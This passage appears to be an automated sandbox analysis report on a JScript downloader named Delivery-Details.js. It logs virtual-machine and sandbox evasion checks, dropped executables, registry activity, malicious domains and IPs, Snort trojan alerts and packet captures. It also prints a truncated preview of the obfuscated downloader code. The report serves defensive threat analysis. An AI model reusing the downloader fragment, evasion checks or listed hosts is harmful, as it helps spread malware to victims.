Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe TID: 3588 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe TID: 3588 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe TID: 3588 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe TID: 3588 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe TID: 3588 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe TID: 3588 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe TID: 3588 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe TID: 3588 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe TID: 3588 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe TID: 3588 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe TID: 3588 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe TID: 3588 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe TID: 3588 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe TID: 3588 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe TID: 3564 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe TID: 3588 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe TID: 3588 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe TID: 3588 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe TID: 3588 | Thread sleep time: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3748 | Thread sleep time: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3748 | Thread sleep time: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3748 | Thread sleep time: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3748 | Thread sleep time: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3748 | Thread sleep time: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3748 | Thread sleep time: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3748 | Thread sleep time: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3748 | Thread sleep time: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3748 | Thread sleep time: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3748 | Thread sleep time: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3748 | Thread sleep time: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3748 | Thread sleep time: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3748 | Thread sleep time: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3748 | Thread sleep time: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3748 | Thread sleep time: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3748 | Thread sleep time: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3748 | Thread sleep time: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3748 | Thread sleep time: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3748 | Thread sleep time: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3748 | Thread sleep time: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3740 | Thread sleep time: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3748 | Thread sleep time: |
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines) | Show sources |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe | WMI Queries: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe | WMI Queries: |
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines) | Show sources |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe | WMI Queries: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe | WMI Queries: |
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines) | Show sources |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe | WMI Queries: |
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines) | Show sources |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe | WMI Queries: |
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines) | Show sources |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe | WMI Queries: |
Tries to detect sandboxes / dynamic malware analysis system (file name check) | Show sources |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe | File opened: |
Tries to detect virtual machines | Show sources |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe | Code function: | 8_2_002E0018 |
Hooking and other Techniques for Hiding and Protection: |
---|
Disables application error messsages (SetErrorMode) | Show sources |
Source: C:\Windows\System32\wscript.exe | Process information set: | ||
Source: C:\Windows\System32\wscript.exe | Process information set: | ||
Source: C:\Windows\System32\wscript.exe | Process information set: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe1.exe | Process information set: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe1.exe | Process information set: | ||
Source: C:\Windows\System32\rundll32.exe | Process information set: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe | Process information set: | ||
Source: C:\Windows\System32\winlogon.exe | Process information set: | ||
Source: C:\Windows\System32\taskhost.exe | Process information set: | ||
Source: C:\Windows\explorer.exe | Process information set: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe | Process information set: | ||
Source: C:\Windows\System32\mshta.exe | Process information set: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe | Process information set: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe | Process information set: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: |
Stores large binary data to the registry | Show sources |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe1.exe | Key value created or modified: |
Language, Device and Operating System Detection: |
---|
Queries the cryptographic machine GUID | Show sources |
Source: C:\Windows\System32\wscript.exe | Key value queried: |
Contains functionality to detect query CPU information (cpuid) | Show sources |
Source: C:\Windows\System32\wscript.exe | Code function: | 0_2_02042D38 |
Queries the installation date of Windows | Show sources |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe | Registry key value queried: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Registry key value queried: |
Queries the installation date of Windows | Show sources |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe | Key value queried: |
Queries the volume information (name, serial number etc) of a device | Show sources |
Source: C:\Windows\explorer.exe | Queries volume information: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe | Queries volume information: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Queries volume information: |
Behavior Graph |
---|
Yara Overview |
---|
No Yara matches |
---|
Screenshot |
---|
Startup |
---|
|
Created / dropped Files |
---|
File Path | Type and Hashes | Malicious |
---|---|---|
| false | |
| true | |
| false | |
| true | |
| false | |
| false | |
| false | |
| false | |
| false | |
| false | |
| false | |
| false | |
| false | |
| false |
Contacted Domains/Contacted IPs |
---|
Contacted Domains |
---|
Name | IP | Active | Malicious |
---|---|---|---|
zhilstroy9.ru | 62.109.10.120 | true | true |
ergonomus.co | 34.204.233.181 | true | true |
microsoft.com | 104.40.211.35 | true | false |
adaqswvfikh.com | 77.88.222.7 | true | false |
stpeteweddingdj.com | 192.163.235.174 | true | true |
coloradomma.org | 70.40.220.101 | true | true |
efesginfes.com | 130.211.122.163 | true | true |
Contacted IPs |
---|
- No. of IPs < 25%
- 25% < No. of IPs < 50%
- 50% < No. of IPs < 75%
- 75% < No. of IPs
IP | Country | Flag | ASN | ASN Name | Malicious |
---|---|---|---|---|---|
8.8.8.8 | United States | 15169 | GoogleInc | false | |
192.163.235.174 | United States | 46606 | UnifiedLayer | true | |
130.211.122.163 | United States | 15169 | GoogleInc | true | |
70.40.220.101 | United States | 46606 | UnifiedLayer | true | |
62.109.10.120 | Russian Federation | 29182 | ISPsystemcjsc | true | |
34.204.233.181 | United States | 2686 | ATTGlobalNetworkServicesLLC | true |
Static File Info |
---|
General | |
---|---|
File type: | |
TrID: | |
File name: | Delivery-Details.js |
File size: | 1460 |
MD5: | a362758c36bed10fb64823918ed90740 |
SHA1: | b4bb387abd203338cf01c7bd0fe713fbeef5e381 |
SHA256: | a1118b689effce96240a82d701c2aa8c2e718512c29edff30412cfa5e8b69c83 |
SHA512: | 914f3dcecc52ca6dd78309118037a5f2436776677b389e40b2678cdb233fb22fc6972aa3147ad60316730d52d322c805f9cd2740c073ee74cd602f5a75332e4d |
File Content Preview: | function hger(ziyter) {eval(ziyter);}..tersa = 0;..while(tersa < 10){tersa++;}..var kus = '/';..var gf = WScript;..var zm = gf.CreateObject("MSXML2.XMLHTTP");..var jamie = new Array(kus,'t',"",":",'p','h','S','a',"T",'');..jamie[2] = "GETA";..jamie[2] = j |
File Icon |
---|
Network Behavior |
---|
Snort IDS Alerts |
---|
Timestamp | Protocol | SID | Message | Source Port | Dest Port | Source IP | Dest IP |
---|---|---|---|---|---|---|---|
04/10/17-10:41:35.735664 | TCP | 2024035 | ET TROJAN WS/JS Downloader Mar 07 2017 M1 | 49190 | 80 | 192.168.1.16 | 34.204.233.181 |
04/10/17-10:41:36.387005 | TCP | 2024035 | ET TROJAN WS/JS Downloader Mar 07 2017 M1 | 49191 | 80 | 192.168.1.16 | 192.163.235.174 |
04/10/17-10:41:37.306224 | TCP | 2024035 | ET TROJAN WS/JS Downloader Mar 07 2017 M1 | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
04/10/17-10:41:40.876467 | TCP | 2024035 | ET TROJAN WS/JS Downloader Mar 07 2017 M1 | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
04/10/17-10:42:09.447724 | TCP | 2024035 | ET TROJAN WS/JS Downloader Mar 07 2017 M1 | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Network Port Distribution |
---|
TCP Packets |
---|
Timestamp | Source Port | Dest Port | Source IP | Dest IP |
---|---|---|---|---|
Apr 10, 2017 10:41:13.984958887 CEST | 58054 | 53 | 192.168.1.16 | 8.8.8.8 |
Apr 10, 2017 10:41:14.474910021 CEST | 53 | 58054 | 8.8.8.8 | 192.168.1.16 |
Apr 10, 2017 10:41:14.492873907 CEST | 49189 | 80 | 192.168.1.16 | 62.109.10.120 |
Apr 10, 2017 10:41:17.498373032 CEST | 49189 | 80 | 192.168.1.16 | 62.109.10.120 |
Apr 10, 2017 10:41:23.514406919 CEST | 49189 | 80 | 192.168.1.16 | 62.109.10.120 |
Apr 10, 2017 10:41:35.564522982 CEST | 55399 | 53 | 192.168.1.16 | 8.8.8.8 |
Apr 10, 2017 10:41:35.731849909 CEST | 53 | 55399 | 8.8.8.8 | 192.168.1.16 |
Apr 10, 2017 10:41:35.734492064 CEST | 49190 | 80 | 192.168.1.16 | 34.204.233.181 |
Apr 10, 2017 10:41:35.734543085 CEST | 80 | 49190 | 34.204.233.181 | 192.168.1.16 |
Apr 10, 2017 10:41:35.734672070 CEST | 49190 | 80 | 192.168.1.16 | 34.204.233.181 |
Apr 10, 2017 10:41:35.735663891 CEST | 49190 | 80 | 192.168.1.16 | 34.204.233.181 |
Apr 10, 2017 10:41:35.735692978 CEST | 80 | 49190 | 34.204.233.181 | 192.168.1.16 |
Apr 10, 2017 10:41:36.119601011 CEST | 80 | 49190 | 34.204.233.181 | 192.168.1.16 |
Apr 10, 2017 10:41:36.119775057 CEST | 49190 | 80 | 192.168.1.16 | 34.204.233.181 |
Apr 10, 2017 10:41:36.165775061 CEST | 53010 | 53 | 192.168.1.16 | 8.8.8.8 |
Apr 10, 2017 10:41:36.384692907 CEST | 53 | 53010 | 8.8.8.8 | 192.168.1.16 |
Apr 10, 2017 10:41:36.386297941 CEST | 49191 | 80 | 192.168.1.16 | 192.163.235.174 |
Apr 10, 2017 10:41:36.386344910 CEST | 80 | 49191 | 192.163.235.174 | 192.168.1.16 |
Apr 10, 2017 10:41:36.386461020 CEST | 49191 | 80 | 192.168.1.16 | 192.163.235.174 |
Apr 10, 2017 10:41:36.387005091 CEST | 49191 | 80 | 192.168.1.16 | 192.163.235.174 |
Apr 10, 2017 10:41:36.387028933 CEST | 80 | 49191 | 192.163.235.174 | 192.168.1.16 |
Apr 10, 2017 10:41:36.812911034 CEST | 80 | 49191 | 192.163.235.174 | 192.168.1.16 |
Apr 10, 2017 10:41:36.813035965 CEST | 49191 | 80 | 192.168.1.16 | 192.163.235.174 |
Apr 10, 2017 10:41:36.813687086 CEST | 80 | 49191 | 192.163.235.174 | 192.168.1.16 |
Apr 10, 2017 10:41:36.813699961 CEST | 80 | 49191 | 192.163.235.174 | 192.168.1.16 |
Apr 10, 2017 10:41:36.813713074 CEST | 80 | 49191 | 192.163.235.174 | 192.168.1.16 |
Apr 10, 2017 10:41:36.813843012 CEST | 49191 | 80 | 192.168.1.16 | 192.163.235.174 |
Apr 10, 2017 10:41:36.813889027 CEST | 80 | 49191 | 192.163.235.174 | 192.168.1.16 |
Apr 10, 2017 10:41:36.814596891 CEST | 49191 | 80 | 192.168.1.16 | 192.163.235.174 |
Apr 10, 2017 10:41:36.816380978 CEST | 80 | 49191 | 192.163.235.174 | 192.168.1.16 |
Apr 10, 2017 10:41:36.816395998 CEST | 80 | 49191 | 192.163.235.174 | 192.168.1.16 |
Apr 10, 2017 10:41:36.816566944 CEST | 49191 | 80 | 192.168.1.16 | 192.163.235.174 |
Apr 10, 2017 10:41:36.830760956 CEST | 80 | 49191 | 192.163.235.174 | 192.168.1.16 |
Apr 10, 2017 10:41:36.830774069 CEST | 80 | 49191 | 192.163.235.174 | 192.168.1.16 |
Apr 10, 2017 10:41:36.830878019 CEST | 49191 | 80 | 192.168.1.16 | 192.163.235.174 |
Apr 10, 2017 10:41:36.852969885 CEST | 80 | 49191 | 192.163.235.174 | 192.168.1.16 |
Apr 10, 2017 10:41:36.852982998 CEST | 80 | 49191 | 192.163.235.174 | 192.168.1.16 |
Apr 10, 2017 10:41:36.853138924 CEST | 49191 | 80 | 192.168.1.16 | 192.163.235.174 |
Apr 10, 2017 10:41:37.067981958 CEST | 52401 | 53 | 192.168.1.16 | 8.8.8.8 |
Apr 10, 2017 10:41:37.302489042 CEST | 53 | 52401 | 8.8.8.8 | 192.168.1.16 |
Apr 10, 2017 10:41:37.304971933 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:37.305020094 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:37.305125952 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:37.306224108 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:37.306262016 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:38.710202932 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:38.710228920 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:38.710238934 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:38.710382938 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:38.727547884 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:38.727562904 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:38.727569103 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:38.727701902 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:38.731137037 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:38.731314898 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:38.746198893 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:38.746223927 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:38.746232986 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:38.746438980 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:38.749768972 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:38.749914885 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:38.903111935 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:38.903136969 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:38.903146029 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:38.903156042 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:38.903182030 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:38.903331041 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:38.903368950 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:38.903817892 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:38.906512022 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:38.906685114 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:38.908025980 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:38.908046007 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:38.908076048 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:38.908389091 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:38.910157919 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:38.910427094 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:38.921341896 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:38.921366930 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:38.921379089 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:38.921565056 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:38.924844027 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:38.925252914 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:38.942238092 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:38.942261934 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:38.942466974 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.059458971 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.059489965 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.059499979 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.059664011 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.059665918 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.059690952 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.059715033 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.060161114 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.060189009 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.060667038 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.063061953 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.063085079 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.063093901 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.063369989 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.063399076 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.063818932 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.076277971 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.076301098 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.076309919 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.076517105 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.076858044 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.076880932 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.076889992 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.077011108 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.077040911 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.077461004 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.077897072 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.077919960 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.077929020 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.078244925 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.079868078 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.079890966 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.079901934 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.080044985 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.080074072 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.080615997 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.101850033 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.101872921 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.101881981 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.102107048 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.234236956 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.234261036 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.234378099 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.234596968 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.234613895 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.234625101 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.234746933 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.234802961 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.234818935 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.234829903 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.234971046 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.234987974 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.235106945 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.235126019 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.237921953 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.237946987 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.237958908 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.237971067 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.238051891 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.238071918 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.239869118 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.251370907 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.251394033 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.251406908 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.251490116 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.252161026 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.252228975 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.252703905 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.252723932 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.252736092 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.252806902 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.253144026 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.253160000 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.253168106 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.253226042 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
